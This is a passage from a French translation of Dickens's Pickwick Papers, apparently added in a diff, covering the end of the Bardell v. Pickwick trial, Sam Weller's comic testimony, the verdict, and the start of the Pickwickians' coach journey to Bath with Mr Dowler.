+
+Cette déplorable confession n'aurait pas été arrachée au témoin, sans
+aucun doute, si le malheureux M. Phunky s'était assis quand Me Snubbin
+lui avait fait signe, ou si Me Buzfuz avait arrêté dès le début ce
+contre-examen irrégulier. Mais il s'était bien gardé de le faire, car il
+avait remarqué l'anxiété de M. Winkle, et avait habilement conclu que sa
+cliente en tirerait quelque profit. Au moment où ces paroles
+malencontreuses tombèrent des lèvres du témoin, M. Phunky s'assit à la
+fin, et Me Snubbin s'empressa, peut-être un peu trop, de dire au témoin
+de quitter la tribune. M. Winkle s'y préparait avec grande satisfaction,
+quand Me Buzfuz l'arrêta.
+
+«Attendez monsieur Winkle, attendez, lui dit-il. Puis s'adressant au
+petit juge: Votre Seigneurie veut-elle avoir la bonté de demander au
+témoin en quelle circonstance ce gentleman, qui est assez vieux pour
+être son père, s'est comporté d'une manière suspecte envers des femmes?
+
+--Monsieur, dit le juge, en se tournant vers le misérable et désespéré
+témoin, vous entendez la question du savant avocat. Décrivez la
+circonstance à laquelle vous avez fait allusion.
+
+--Milord, répondit M. Winkle d'une voix tremblante d'anxiété, je... je
+désirerais me taire à cet égard.
+
+--C'est possible, rétorqua le petit juge, mais il faut parler.»
+
+Parmi le profond silence de toute l'assemblée, M. Winkle balbutia que la
+légère circonstance suspecte était que M. Pickwick avait été trouvé, à
+minuit, dans la chambre à coucher d'une dame, ce qui s'était terminé, à
+ce que croyait M. Winkle, par la rupture du mariage projeté de la dame
+en question, et ce qui avait amené, comme il le savait fort bien, la
+comparution forcée des pickwickiens devant Georges Nupkins, esquire,
+magistrat et juge de paix du bourg d'Ipswich.
+
+«Vous pouvez quitter la tribune,» monsieur, dit alors Me Snubbin. M.
+Winkle la quitta en effet, et se précipita, en courant comme un fou,
+vers son hôtel où il fût découvert par le garçon, au bout de quelques
+heures, la tête ensevelie sous les coussins d'un sofa, et poussant des
+gémissements qui fendaient le coeur.
+
+Tracy Tupman et Augustus Snodgrass furent successivement appelés à la
+tribune. L'un et l'autre corroborèrent la déposition de leur malheureux
+ami, et chacun d'eux fût presque réduit au désespoir par d'insidieuses
+questions.
+
+Susannah Sanders fut ensuite appelée, examinée par Me Buzfuz, et
+contre-examinée par Me Subbin. Elle avait toujours dit et cru que M.
+Pickwick épouserait Mme Bardell. Elle savait qu'après l'évanouissement
+de juillet, le futur mariage de M. Pickwick et de mistress Bardell avait
+été le sujet ordinaire des conversations du voisinage. Elle l'avait
+entendu dire à mistress Mudberry, la revendeuse, et à la repasseuse,
+mistress Bunkin; mais elle ne voyait dans la salle ni mistress Mudberry
+ni mistress Bunkin. Elle avait entendu M. Pickwick demander au petit
+garçon s'il aimerait à avoir un autre père. Elle ne savait pas si Mme
+Bardell faisait société avec le boulanger, mais elle savait que le
+boulanger était alors garçon, et est maintenant marié. Elle ne pouvait
+pas jurer que Mme Bardell ne fût pas très-éprise du boulanger, mais elle
+imaginait que le boulanger n'était pas très-épris de Mme Bardell, car
+dans ce cas il n'aurait pas épousé une autre personne. Elle pensait que
+Mme Bardell s'était évanouie dans la matinée du mois de juillet parce
+que M. Pickwick lui avait demandé de fixer le jour; elle savait
+qu'elle-même avait tout à fait perdu connaissance, quand M. Sanders lui
+avait demandé de fixer le jour, et elle pensait que toute personne qui
+peut s'appeler une lady en ferait autant, en semblable circonstance.
+Enfin elle avait entendu la question adressée par M. Pickwick au petit
+Bardell, relativement aux billes et aux calots, mais sur sa foi de
+chrétienne, elle ne savait pas quelle différence il y avait entre une
+bille et un calot.
+
+Interrogée par M. le juge Stareleigh, mistress Sanders répondit que,
+pendant que M. Sanders lui faisait la cour, elle avait reçu de lui des
+lettres d'amour comme font les autres ladies; que dans le cours de leur
+correspondance M. Sanders l'avait appelée très-souvent mon _canard_,
+mais jamais _ma côtelette_ ou _ma sauce aux tomates_. M. Sanders aimait
+passionnément le canard; peut-être que s'il avait autant aimé la
+côtelette et la sauce aux tomates, il en aurait employé le nom comme un
+terme d'affection.
+
+Après cette déposition capitale, Me Buzfuz se leva avec plus
+d'importance qu'il n'en avait déjà montré, et dit d'une voix forte:
+«Appelez Samuel Weller.»
+
+Il était tout à fait inutile d'appeler Samuel Weller, car Samuel Weller
+monta lentement dans la tribune au moment où son nom fut prononcé. Il
+posa son chapeau sur le plancher, ses bras sur la balustrade, et examina
+la cour, à vol d'oiseau, avec un air remarquablement gracieux et jovial.
+
+«Quel est votre nom, monsieur? demanda le juge.
+
+--Sam Weller, milord, répliqua ce gentleman.
+
+--L'écrivez-vous avec un V ou un W?
+
+--Ça dépend du goût et de la fantaisie de celui qui écrit, milord. Je
+n'ai eu cette occasion qu'une fois ou deux dans ma vie, mais je l'écris
+avec un V.»
+
+Ici on entendit dans la galerie une voix qui criait: «C'est bien ça,
+Samivel; c'est bien ça. Mettez un V, milord.
+
+--Qui est-ce qui se permet d'apostropher la cour, s'écria le petit juge
+en levant les jeux. Huissier!
+
+--Oui, milord.
+
+--Amenez cette personne ici, sur-le-champ.
+
+--Oui, milord.»
+
+Mais comme l'huissier ne put trouver la personne, il ne l'amena pas, et
+après une grande commotion, tous les assistants, qui s'étaient levés
+pour regarder le coupable, se rassirent.
+
+Aussitôt que l'indignation du petit juge lui permit de parler, il se
+tourna vers le témoin et lui dit:
+
+«Savez-vous qui c'était, monsieur?
+
+--Je suspecte un brin que c'était mon père, milord.
+
+--Le voyez-vous maintenant?
+
+--Non, je ne le vois pas, milord, répliqua Sam, en attachant ses yeux à
+la lanterne par laquelle la salle était éclairée.
+
+--Si vous aviez pu me le montrer, je l'aurais fait empoigner
+sur-le-champ, reprit l'irascible petit juge.»
+
+Sam fit un salut plein de reconnaissance et se retourna vers Me Buzfuz,
+avec son air de bonne humeur imperturbable.
+
+«Maintenant monsieur Weller, dit Me Buzfuz.
+
+--Voilà, monsieur, répliqua Sam.
+
+--Vous êtes, je crois, au service de M. Pickwick, le défendeur en cette
+cause? Parlez s'il vous plaît, monsieur Weller.
+
+--Oui, monsieur, je vas parler. Je suis au service de ce gentleman ici,
+et c'est un très-bon service.
+
+--Pas grand'chose à faire, et beaucoup à gagner, je suppose? dit
+l'avocat, d'un air farceur.
+
+--Ah! oui, suffisamment à gagner, monsieur, comme disait le soldat,
+quand on le condamna à cent cinquante coups de fouet.
+
+--Nous n'avons pas besoin de ce qu'a dit le soldat, monsieur, ni toute
+autre personne, interrompit le juge.
+
+--Très-bien, milord.
+
+--Vous rappelez-vous, dit Me Buzfuz, en reprenant la parole, vous
+rappelez-vous quelque chose de remarquable qui arriva dans la matinée où
+vous fûtes engagé par le défendeur? voyons! monsieur Weller?
+
+--Oui, monsieur.
+
+--Ayez la bonté de dire au jury ce que c'était.
+
+--J'ai eu un habillement complet tout neuf, ce matin-là, messieurs du
+jury, et c'était une circonstance très-remarquable pour moi, dans ce
+temps-là.»
+
+Ces mots excitèrent un éclat de rire général, mais le petit juge,
+regardant avec colère par-dessus son bureau: «Monsieur, dit-il, je vous
+engage à prendre garde.
+
+--C'est ce que M. Pickwick m'a dit dans le temps, milord; et j'ai pris
+bien garde à conserver ces habits-là, véritablement, milord.»
+
+Pendant deux grandes minutes, le juge regarda sévèrement le visage de
+Sam, mais voyant que ses traits étaient complètement calmes et sereins,
+il ne dit rien, et fit signe à l'avocat de continuer.
+
+«Est-ce que vous prétendez me dire, monsieur Weller, reprit Me Buzfuz en
+croisant ses bras emphatiquement et en se tournant à demi vers le jury,
+comme pour l'assurer silencieusement qu'il viendrait à bout du témoin,
+est-ce que vous prétendez me dire, monsieur Weller, que vous n'avez pas
+vu la plaignante évanouie dans les bras du défendeur, comme vous venez
+de l'entendre décrire par les témoins?
+
+--Non certainement: j'étais dans le corridor jusqu'à ce qu'ils m'ont
+appelé, et la vieille lady était partie alors.
+
+--Maintenant faites attention, monsieur Weller, continua Me Buzfuz, en
+trempant une énorme plume dans son encrier, afin d'effrayer Sam, en lui
+faisant voir qu'il allait noter sa réponse. Vous étiez dans le corridor
+et vous n'avez rien vu de ce qui se passait. Avez-vous des yeux,
+monsieur Weller?
+
+--Oui, j'en ai des yeux, et c'est justement pour ça. Si c'étaient des
+microscopes au gaz, brevetés pour grossir cent mille millions de fois,
+j'aurais peut-être pu voir à travers les escaliers et la porte de
+chêne; mais comme je n'ai que des yeux vous comprenez, ma vision est
+limitée.»
+
+À cette réponse qui fut délivrée de la manière la plus simple et sans la
+plus légère apparence d'irritation, les spectateurs ricanèrent, le petit
+juge sourit, et Me Buzfuz eut l'air singulièrement déconfit. Après une
+courte consultation avec Dodson et Fogg, le savant avocat se tourna de
+nouveau vers Sam, et lui dit avec un pénible effort pour cacher sa
+vexation.
+
+«Maintenant, monsieur Weller, je vous ferai encore une question sur un
+autre point, s'il vous plaît.
+
+--Je suis à vos ordres, monsieur, répondit Sam avec une admirable bonne
+humeur.
+
+--Vous rappelez-vous être allé chez Mme Bardell un soir de novembre?
+
+--Oh! oui, très bien.
+
+--Ah! ah! vous vous rappelez cela, monsieur Weller? dit l'avocat, en
+recouvrant son équanimité. Je pensais bien que nous arriverions à
+quelque chose à la fin.
+
+--Je le pensais bien aussi, monsieur, répliqua Sam; et les spectateurs
+rirent encore.
+
+--Bien. Je suppose que vous y êtes allé pour causer un peu du procès,
+eh! monsieur Weller? reprit l'avocat, en lançant un coup d'oeil malin au
+jury.
+
+--J'y suis allé pour payer le terme; mais nous avons causé un brin du
+procès.
+
+--Ah! vous en avez causé? répéta Me Buzfuz dont le visage devint
+radieux, par l'anticipation de quelque importante découverte.
+Voulez-vous avoir la bonté de nous raconter ce qui s'est dit à ce
+propos, monsieur Weller?
+
+--Avec le plus grand plaisir du monde, monsieur. Après quelques
+observations guère importantes des deux respectables dames qui ont
+déposé ici aujourd'hui, elles se sont quasi pâmées d'admiration sur la
+vertueuse conduite de MM. Dodson et Fogg, ces deux gentlemen qui sont
+assis à côté de vous maintenant.»
+
+Ceci, bien entendu, attira l'attention générale sur Dodson et Fogg qui
+prirent un air aussi vertueux que possible.
+
+«Ah! dit Me Buzfuz, ces dames parlèrent donc avec éloge de l'honorable
+conduite de MM. Dodson et Fogg, les avoués de la plaignante, hein?
+
+--Oui, monsieur. Elles dirent que c'était une bien généreuse chose de
+leur part de prendre cette affaire-là par spéculation, et de ne rien
+demander pour les frais, s'ils ne les faisaient pas payer à M.
+Pickwick.»
+
+À cette réplique inattendue, les spectateurs ricanèrent encore, et
+Dodson et Fogg, qui étaient devenus tout rouges, se penchèrent vers Me
+Buzfuz, et d'un air très-empressé lui chuchotèrent quelque chose dans
+l'oreille.
+
+«Vous avez complètement raison, répondit tout haut l'avocat, avec une
+tranquillité affectée. Il est parfaitement impossible de tirer quelque
+éclaircissement de l'impénétrable stupidité du témoin. Je n'abuserai
+point des moments de la cour en lui adressant d'autres questions. Vous
+pouvez descendre, monsieur.
+
+--Il n'y a pas quelque autre gentleman qui désire m'adresser une
+question? demanda Sam, en prenant son chapeau et en regardant autour de
+lui d'un air délibéré.
+
+--Non pas moi, monsieur Weller. Je vous remercie, dit Me Snubbin, en
+riant.
+
+--Vous pouvez descendre, monsieur,» répéta Me Buzfuz, en agitant la main
+d'un air impatient.
+
+Sam descendit en conséquence, après avoir fait à la cause de MM. Dodson
+et Fogg, autant de mal qu'il le pouvait, sans inconvénient, et après
+avoir parlé le moins possible de l'affaire de M. Pickwick, ce qui était
+précisément le but qu'il s'était proposé.
+
+«Milord, dit Me Snubbin, si cela peut épargner l'interrogatoire d'autres
+témoins, je n'ai pas d'objections à admettre que M. Pickwick s'est
+retiré des affaires et possède une fortune indépendante et considérable.
+
+--Très-bien,» répliqua Me Buzfuz, en passant au clerc les deux lettres
+de M. Pickwick.
+
+Me Snubbin s'adressa alors au jury en faveur du défendeur, et débita un
+très-long et très-emphatique discours, dans lequel il donna à la
+conduite et aux moeurs de M. Pickwick les plus magnifiques éloges. Mais
+comme nos lecteurs doivent s'être formé relativement au mérite de ce
+gentleman une opinion beaucoup plus nette que celle de Me Snubbin, nous
+ne croyons pas devoir rapporter longuement ses observations. Il
+s'efforça de démontrer que les lettres qui avaient été produites se
+rapportaient simplement au dîner de M. Pickwick et aux préparations à
+faire dans son appartement, pour le recevoir à son retour de quelque
+excursion. Enfin il parla le mieux qu'il put, en faveur de notre héros,
+et comme tout le monde le sait, sur la foi d'un vieil adage, il est
+impossible de faire plus.
+
+M. le juge Starleigh fit son résumé, suivant les formes et de la manière
+la plus approuvée. Il lut au jury autant de ses notes qu'il lui fut
+possible d'en déchiffrer en si peu de temps, et fit en passant des
+commentaires sur chaque témoignage. Si mistress Bardell avait raison, il
+était parfaitement évident que M. Pickwick avait tort. Si les jurés
+pensaient que le témoignage de mistress Cluppins était digne de
+croyance, c'était leur devoir de le croire: mais sinon, non. S'ils
+étaient convaincus qu'il y avait eu violation de promesse de mariage,
+ils devaient attribuer à la plaignante les dommages-intérêts qu'ils
+jugeraient convenables; mais d'un autre côté s'il leur paraissait qu'il
+n'y eût jamais eu de promesse de mariage, alors ils devaient renvoyer le
+défenseur sans aucun dommage. Après cette harangue, les jurés se
+retirèrent dans leur salle pour délibérer, et le juge se retira dans son
+cabinet pour se rafraîchir avec une côtelette de mouton et un verre de
+xérès.
+
+Un quart d'heure plein d'anxiété s'écoula. Le jury revint; on alla
+quérir le juge. M. Pickwick mit ses lunettes et contempla le chef du
+jury, avec un coeur palpitant et une contenance agitée.
+
+«Gentlemen, dit l'individu en noir, êtes-vous tous d'accord sur votre
+verdict?
+
+--Oui, nous sommes d'accord, répondit le chef du jury.
+
+--Décidez-vous en faveur de la plaignante ou du défendeur, gentlemen?
+
+--En faveur de la plaignante.
+
+--Avec quels dommages, gentlemen?
+
+--Sept cent cinquante livres sterling.»
+
+M. Pickwick ôta ses lunettes, en essuya soigneusement les verres, les
+renferma dans leur étui, et les introduisit dans sa poche. Ensuite ayant
+mis ses gants avec exactitude, tout en continuant de considérer le chef
+du jury, il suivit machinalement hors de la salle M. Perker et le sac
+bleu.
+
+M. Perker s'arrêta dans une salle voisine pour payer les honoraires de
+la cour. Là, M. Pickwick fut rejoint par ses amis, et là aussi il
+rencontra MM. Dodson et Fogg, se frottant les mains avec tous les signes
+extérieurs d'une vive satisfaction.
+
+«Eh! bien? gentlemen, dit M. Pickwick.
+
+--Eh! bien, monsieur, dit Dodson pour lui et son partenaire.
+
+--Vous vous imaginez que vous allez empocher vos frais, n'est-ce pas,
+gentlemen?»
+
+Fogg répondit qu'il regardait cela comme assez probable, et Dodson
+sourit en disant qu'ils essayeraient.
+
+«Vous pouvez essayer, et essayer, et essayer encore, messieurs Dodson et
+Fogg, s'écria M. Pickwick avec véhémence, mais vous ne tirerez jamais de
+moi un penny de dommages, ni de frais, quand je devrais passer le reste
+de mon existence dans une prison pour dettes.
+
+--Ah! ah! dit Dodson, vous y repenserez avant le prochain terme,
+monsieur Pickwick.
+
+--Hi! hi! hi! nous verrons cela incessamment, monsieur Pickwick, ricana
+M. Fogg.»
+
+Muet d'indignation, M. Pickwick se laissa entraîner par son avoué et par
+ses amis qui le firent monter dans une voiture, amenée en un clin d'oeil
+par l'attentif Sam Weller.
+
+Sam avait relevé le marchepied, et se préparait à sauter sur le siége,
+quand il sentit toucher légèrement son épaule. Il se retourna et vit son
+père, debout devant lui. Le visage du vieux gentleman avait une
+expression lugubre. Il secoua gravement la tête, et dit d'un ton de
+remontrance:
+
+«Je savais ce qu'arriverait de cette manière-là de conduire l'affaire. O
+Sammy, Sammy, pourquoi qu'i' ne se sont pas servis d'un alébi.»
+
+
+
+
+CHAPITRE VI.
+
+Dans lequel M. Pickwick pense que ce qu'il a de mieux à faire est
+d'aller à Bath, et y va en conséquence.
+
+
+«Mais, mon cher monsieur, dit le petit Perker à M. Pickwick, qu'il était
+allé voir dans la matinée qui suivit le jugement, vous n'entendez pas,
+en réalité et sérieusement, et toute irritation à part, que vous ne
+payerez pas ces frais et ces dommages?
+
+--Pas un demi-penny, répéta M. Pickwick avec fermeté, pas un demi-penny.
+
+--Hourra! vivent les principes! comme disait l'usurier en refusant de
+renouveler le billet, s'écria Sam, qui enlevait le couvert du déjeuner.
+
+--Sam, dit M. Pickwick, ayez la bonté de descendre en bas.
+
+--Certainement, monsieur, répliqua Sam en obéissant à l'aimable
+insinuation de son maître.
+
+--Non, Perker, reprit M. Pickwick d'un air très-sérieux. Mes amis ici
+présents se sont vainement efforcés de me dissuader de cette
+détermination. Je m'occuperai comme à l'ordinaire. Mes adversaires ont
+le pouvoir de poursuivre mon incarcération, et, s'ils sont assez vifs
+pour s'en servir et pour arrêter une personne, je me soumettrai aux lois
+avec une parfaite tranquillité. Quand peuvent-ils faire cela?
+
+--Ils peuvent lancer une exécution pour le montant des dommages et des
+frais taxés, le terme prochain, juste dans deux mois d'ici, mon cher
+monsieur.
+
+--Très-bien. D'ici là, mon ami, ne me reparlez plus de cette affaire. Et
+maintenant, continua M. Pickwick en regardant ses amis avec un sourire
+bénévole et un regard brillant que nulles lunettes ne pouvaient
+obscurcir, voici la seule question à résoudre: Où dirigerons-nous notre
+prochaine excursion?»
+
+M. Tupman et M. Snodgrass étaient trop affectés par l'héroïsme de leur
+ami pour pouvoir faire une réponse. Quant à M. Winkle, il n'avait pas
+encore suffisamment perdu le souvenir de sa déposition en justice, pour
+oser élever la voix sur aucun sujet. C'est donc en vain que M. Pickwick
+attendit.
+
+«Eh bien! reprit-il, si vous me permettez de choisir notre destination,
+je dirai Bath. Je pense que personne parmi vous n'y a jamais été?»
+
+M. Perker, regardant comme très-probable que le changement de scène et
+la gaieté du séjour engageraient M. Pickwick à mieux apprécier sa
+détermination, et à moins estimer une prison pour dettes, appuya
+chaudement cette proposition. Elle fut adoptée à l'unanimité, et Sam
+immédiatement dépêché au _Cheval-Blanc_, pour retenir cinq places dans
+la voiture qui partait le lendemain matin, à sept heures et demie.
+
+Il restait justement deux places à l'intérieur et trois places à
+l'extérieur. Sam les arrêta, échangea quelques compliments avec le
+commis, qui lui avait glissé mal à propos une demi-couronne en étain, en
+lui rendant sa monnaie, retourna au _Georges et Vautour_, et s'y occupa
+activement, jusqu'au moment de se mettre au lit, à comprimer des habits
+et du linge dans la plus petit espace possible, et à inventer
+d'ingénieux moyens mécaniques pour faire tenir des couvercles sur des
+boîtes qui n'avaient ni charnières ni serrure.
+
+Le lendemain matin se leva fort déplaisant pour un voyage, sombre,
+humide et crotté. Les chevaux des diligences qui passaient fumaient si
+fort que les passagers de l'extérieur étaient invisibles. Les crieurs de
+journaux paraissaient noyés et sentaient le moisi; la pluie dégouttait
+des chapeaux des marchandes d'oranges; et, lorsqu'elles fourraient leur
+tête par la portière des voitures, elles en arrosaient l'intérieur d'une
+manière très rafraîchissante. Les juifs fermaient de désespoir leurs
+canifs à cinquante lames; les vendeurs d'agendas de poche en faisaient
+véritablement des agendas de poche; les chaînes de montres et les
+fourchettes à faire des rôties se livraient à porte; les porte-crayons
+et les éponges étaient pour rien sur le marché.
+
+Laissant Sam Weller disputer les bagages à sept ou huit porteurs qui
+s'en étaient violemment emparés aussitôt que la voiture de place s'était
+arrêtée, et voyant qu'il y avait encore vingt minutes à attendre avant
+le départ de la diligence, M. Pickwick et ses amis allèrent chercher un
+abri dans la salle des voyageurs, dernière ressource de l'humaine
+misère.
+
+La salle des voyageurs, au _Cheval-Blanc_, est comme on le pense bien,
+peu confortable; autrement ce ne serait pas une salle de voyageurs.
+C'est le parloir qui se trouve à main droite, et dans lequel une
+ambitieuse cheminée de cuisine semble s'être impatronisée, avec
+l'accompagnement d'un poker rebelle, d'une pelle et de pincettes
+réfractaires. Le pourtour de la salle est divisé en stalles pour la
+séquestration des voyageurs, et la salle elle-même est garnie d'une
+pendule, d'un miroir et d'un garçon vivant; ce dernier article étant
+habituellement renfermé dans une espèce de chenil où se lavent les
+verres, à l'un des coins de la chambre.
+
+Le jour en question, une des stalles était occupée par un homme
+d'environ quarante-cinq ans, dont le crâne chauve et luisant sur le
+devant de la tête, était garni sur les côtés et par derrière d'épais
+cheveux noirs qui se mêlaient avec ses larges favoris. Son habit brun
+était boutonné jusqu'au menton; il avait une vaste casquette de veau
+marin et une redingote avec un manteau étaient étendus sur le siége, à
+côté de lui. Lorsque M. Pickwick entra, il leva les yeux de dessus son
+déjeûner avec un air fier et péremptoire tout à fait plein de dignité;
+puis, après avoir scruté notre philosophe et ses compagnons, il se mit
+à chantonner de manière à faire entendre que, s'il y avait des gens qui
+se flattaient de le mettre dedans, cela ne prendrait point.
+
+«Garçon! dit le gentleman aux favoris noirs.
+
+--Monsieur! répliqua, en sortant du chenil ci-dessus mentionné, un homme
+qui avait un teint malpropre et un torchon idem.
+
+--Encore quelques rôties!
+
+--Oui, monsieur.
+
+--Faites attention qu'elles soient beurrées, ajouta le gentleman d'un
+ton dur.
+
+--Tout de suite, monsieur,» repartit le garçon.
+
+Le gentleman aux favoris noirs recommença à chantonner le même air;
+puis, en attendant l'arrivée des rôties, il vint se placer le dos au
+feu, releva sous ses bras les pans de son habit, et contempla ses bottes
+en ruminant.
+
+«Vous ne savez pas où la voiture arrête à Bath? dit M. Pickwick d'un ton
+doux en s'adressant à M. Winkle.
+
+--Hum! Eh! qu'est-ce! dit l'étranger.
+
+--Je faisais une observation à mon ami, dit M. Pickwick, toujours prêt à
+entrer en conversation. Je demandais où la voiture arrête à Bath. Vous
+pouvez peut-être m'en informer, monsieur?
+
+--Est-ce que vous allez à Bath?
+
+--Oui, monsieur.
+
+«Et ces autres gentlemen?
+
+--Ils y vont aussi.
+
+--Pas dans l'intérieur! Je veux être damné si vous allez dans
+l'intérieur!
+
+--Non, pas tous.
+
+--Non certes, pas tous, reprit l'étranger avec énergie. J'ai retenu deux
+places, et, s'ils veulent empiler six personnes dans une boîte infernale
+qui n'en peut tenir que quatre, je louerai une chaise de poste à leurs
+frais. Cela ne prendra pas. J'ai dit au commis, en payant mes places,
+que cela ne prendrait pas. Je sais que cela s'est fait; je sais que cela
+se fait tous les jours; mais on ne m'a jamais mis dedans, et on ne m'y
+mettra pas. Ceux qui me connaissent le savent, Dieu me damne!»
+
+Ici le féroce gentleman tira la sonnette avec grande violence et déclara
+au garçon que si on ne lui apportait pas ses rôties avant cinq secondes,
+il irait lui-même en savoir la raison.
+
+«Mon cher monsieur, dit M. Pickwick, permettez-moi de vous faire
+observer que vous vous agitez bien inutilement. Je n'ai retenu de places
+à l'intérieur que pour deux.
+
+--Je suis charmé de le savoir, répondit l'homme féroce. Je retire mes
+expressions; acceptez mes excuses. Voici ma carte; faisons connaissance.
+
+--Avec grand plaisir, répliqua M. Pickwick. Nous devons être compagnons
+de voyage, et j'espère que nous trouverons mutuellement notre société
+agréable.
+
+--Je l'espère. J'en suis persuadé. J'aime votre air; il me plaît.
+Gentlemen, vos mains et vos noms. Faisons connaissance.»
+
+Nécessairement un échange de salutations amicales suivit ce gracieux
+discours. Le fier gentleman informa alors nos amis avec le même système
+de phrases courtes, abruptes, sautillantes, que son nom était Dowler,
+qu'il allait à Bath pour son plaisir, qu'il était autrefois dans
+l'armée, que maintenant il s'était mis dans les affaires, comme un
+gentleman; qu'il vivait des profits qu'il en tirait, et que la personne
+pour qui la seconde place avait été retenue par lui, n'était pas une
+personne moins illustre que Mme Dowler, son épouse.
+
+«C'est une jolie femme, poursuivit-il. J'en suis orgueilleux. J'ai
+raison de l'être.
+
+--J'espère que nous aurons le plaisir d'en juger, dit M. Pickwick avec
+un sourire.
+
+--Vous en jugerez. Elle vous connaîtra. Elle vous estimera. Je lui ai
+fait la cour d'une singulière manière. Je l'ai gagnée par un voeu
+téméraire. Voilà. Je la vis; je l'aimai; je la demandai; elle me refusa.
+«Vous en aimez un autre?--Épargnez ma pudeur.--Je le
+connais.--Vraiment?--Certes; s'il reste ici, je l'écorcherai vif.»
+
+--Diable! s'écria M. Pickwick involontairement.
+
+--Et... l'avez-vous écorché, monsieur? demanda M. Winkle en pâlissant.
+
+--Je lui écrivis un mot. Je lui dis que c'était une chose pénible.
+C'était vrai.
+
+--Certainement, murmura M. Winkle.
+
+--Je dis que j'avais donné ma parole de l'écorcher vif, que mon honneur
+était engagé, et que, comme officier de Sa Majesté, je n'avais pas
+d'autre alternative. J'en regrettais la nécessité, mais il fallait que
+cela se fit. Il se laissa convaincre; il vit que les règles de service
+étaient impératives. Il s'enfuit. J'épousai la jeune personne. Voici la
+voiture. C'est sa tête que vous voyez à la portière.»
+
+En achevant ces mots, M. Dowler montrait une voiture qui venait de
+s'arrêter. On voyait effectivement à la portière une figure assez jolie,
+coiffée d'un chapeau bleu, et qui, regardant parmi la foule, cherchait
+probablement l'homme violent lui-même. M. Dowler paya sa dépense et
+sortit promptement avec sa casquette, sa redingote et son manteau: M.
+Pickwick et ses amis le suivirent pour s'assurer de leurs places.
+
+M. Tupman et M. Snodgrass s'étaient huchés derrière la voiture; M.
+Winkle était monté dans l'intérieur et M. Pickwick se préparait à le
+suivre, quand Sam Weller s'approcha d'un air de profond mystère, et,
+chuchotant dans l'oreille de son maître, lui demanda la permission de
+lui parler.
+
+«Eh bien! Sam, dit M. Pickwick, qu'est-ce qu'il y a maintenant?
+
+--En voilà une de sévère, monsieur!
+
+--Une quoi?
+
+--Une histoire, monsieur. J'ai bien peur que le propriétaire de cette
+voiture-ci ne nous fasse quelque impertinence.
+
+--Comment cela, Sam? Est-ce que nos noms ne sont point sur la feuille de
+route?
+
+--Certainement qu'ils y sont, monsieur; mais ce qui est plus fort, c'est
+qu'il y en a un qui est sur la porte de la voiture.»
+
+En parlant ainsi, Sam montrait à son maître cette partie de la portière
+où se trouve ordinairement le nom du propriétaire; et là, en effet, se
+lisait en lettres dorées, d'une raisonnable grandeur, le nom magique de
+_Pickwick_.
+
+«Voilà qui est curieux! s'écria M. Pickwick, tout à fait étourdi de
+cette coïncidence; quelle chose extraordinaire!
+
+--Oui; mais ce n'est pas tout, reprit Sam en dirigeant de nouveau
+l'attention de son maître vers la portière. Non contents d'écrire
+_Pickwick_, ils mettent _Moïse_ devant. Voilà ce que j'appelle ajouter
+l'injure à l'insulte, comme disait le perroquet quand on lui a appris à
+parler anglais, après l'avoir emporté de son pays natal.
+
+--Cela est certainement assez singulier, Sam; mais si nous restons là,
+debout, nous perdrons nos places.
+
+--Comment! est-ce qu'il n'y a rien à faire en conséquence, monsieur?
+s'écria Sam tout à fait démonté par la tranquillité avec laquelle M.
+Pickwick se préparait à s'enfoncer dans l'intérieur.
+
+--À faire? dit le philosophe; qu'est-ce qu'on pourrait faire?
+
+--Est-ce qu'il n'y aura personne de rossé pour avoir pris cette liberté,
+monsieur? demanda Sam, qui s'était attendu, pour le moins, à recevoir la
+commission de défier le cocher et le conducteur en combat singulier.
+
+--Non, certainement, répliqua M. Pickwick avec vivacité. Sous aucun
+prétexte! Montez à votre place, sur-le-champ.
+
+--Ah! murmura Sam en grimpant sur son banc, faut que le gouverneur ait
+quelque chose; autrement il n'aurait pas pris ça aussi tranquillement.
+J'espère que ce jugement-ici ne l'aura pas affecté; mais ça va mal, ça
+va très-mal,» continua-t-il en secouant gravement la tête.
+
+Et, ce qui est digne de remarque, car cela fait voir combien il prit
+cette circonstance à coeur, il ne prononça plus une seule parole
+jusqu'au moment où la voiture atteignit le turnpike de Kensington.
+C'était pour lui un effort de taciturnité tellement extraordinaire,
+qu'il peut être considéré comme tout à fait sans précédent.
+
+Il n'arriva rien durant le voyage qui mérite une mention spéciale. M.
+Dowler rapporta plusieurs anecdotes, toutes illustratives de ses
+prouesses personnelles; et, à chacune d'elles il en appelait au
+témoignage de Mme Dowler. Alors cette aimable dame racontait, sous la
+forme d'appendice, quelques circonstances remarquables que M. Dowler
+avait oubliées, ou peut-être que sa modestie avait omises; car ces
+additions tendaient toujours à montrer que M. Dowler était un homme
+encore plus étonnant qu'il ne le disait lui-même. M. Pickwick et M.
+Winkle l'écoutaient avec la plus grande admiration: par intervalles,
+cependant, ils conversaient avec Mme Dowler, qui était une personne tout
+à fait séduisante. Ainsi, grâces aux histoires de M. Dowler et aux
+charmes de son autre moitié, grâces à l'amabilité de M. Pickwick et à
+l'attention imperturbable de M. Winkle, les habitants de l'intérieur de
+la diligence exécutèrent leur voyage en bonne harmonie et en parfaite
+humeur.
+
+Les voyageurs de l'extérieur se conduisirent comme leurs places le
+comportaient. Ils étaient gais et causeurs au commencement de tous les
+relais, tristes et endormis au milieu, et de nouveau brillants et
+éveillés vers la fin. Il y avait un jeune gentleman en manteau de
+caoutchouc, qui fumait des cigares tout le long du chemin; et il y avait
+un autre jeune gentleman dont la redingote avait l'air de la parodie
+d'un paletot, qui en allumait un grand nombre; mais, se sentant
+évidemment étourdi, après la seconde bouffée, il les jetait par terre,
+quand il croyait que personne ne pouvait s'en apercevoir. Il y avait sur
+le siége un troisième jeune homme qui désirait se connaître en chevaux,
+et par derrière, un vieillard qui semblait très-fort en agriculture. On
+rencontrait sur la route une constante succession de noms de baptême, en
+blouses ou en redingotes grises, qui étaient invités par le garde à
+monter un bout de chemin, et qui connaissaient chaque cheval et chaque
+aubergiste de la contrée. Enfin on fit un dîner, qui aurait été bon
+marché à une demi-couronne par tête, si on avait eu le temps d'en manger
+quelque chose. Quoi qu'il en soit, à sept heures du soir, M. Pickwick et
+ses amis, et M. Dowler ainsi que son épouse se retirèrent respectivement
+dans leur salon particulier à l'hôtel du _Blanc-Cerf_, en face de la
+grande salle des bains de Bath; hôtel illustre dans lequel les garçons,
+grâces à leur costume, pourraient être pris pour des étudiants de
+Westminster, s'ils ne détruisaient pas l'illusion par leur sagesse et
+leur bonne tenue.
+
+Le lendemain matin, le déjeuner des pickwickiens avait à peine été
+enlevé, lorsqu'un garçon apporta la carte de M. Dowler, qui demandait la
+permission de présenter un de ses amis. M. Dowler lui-même suivit
+immédiatement sa carte, amenant aussi son ami.
+
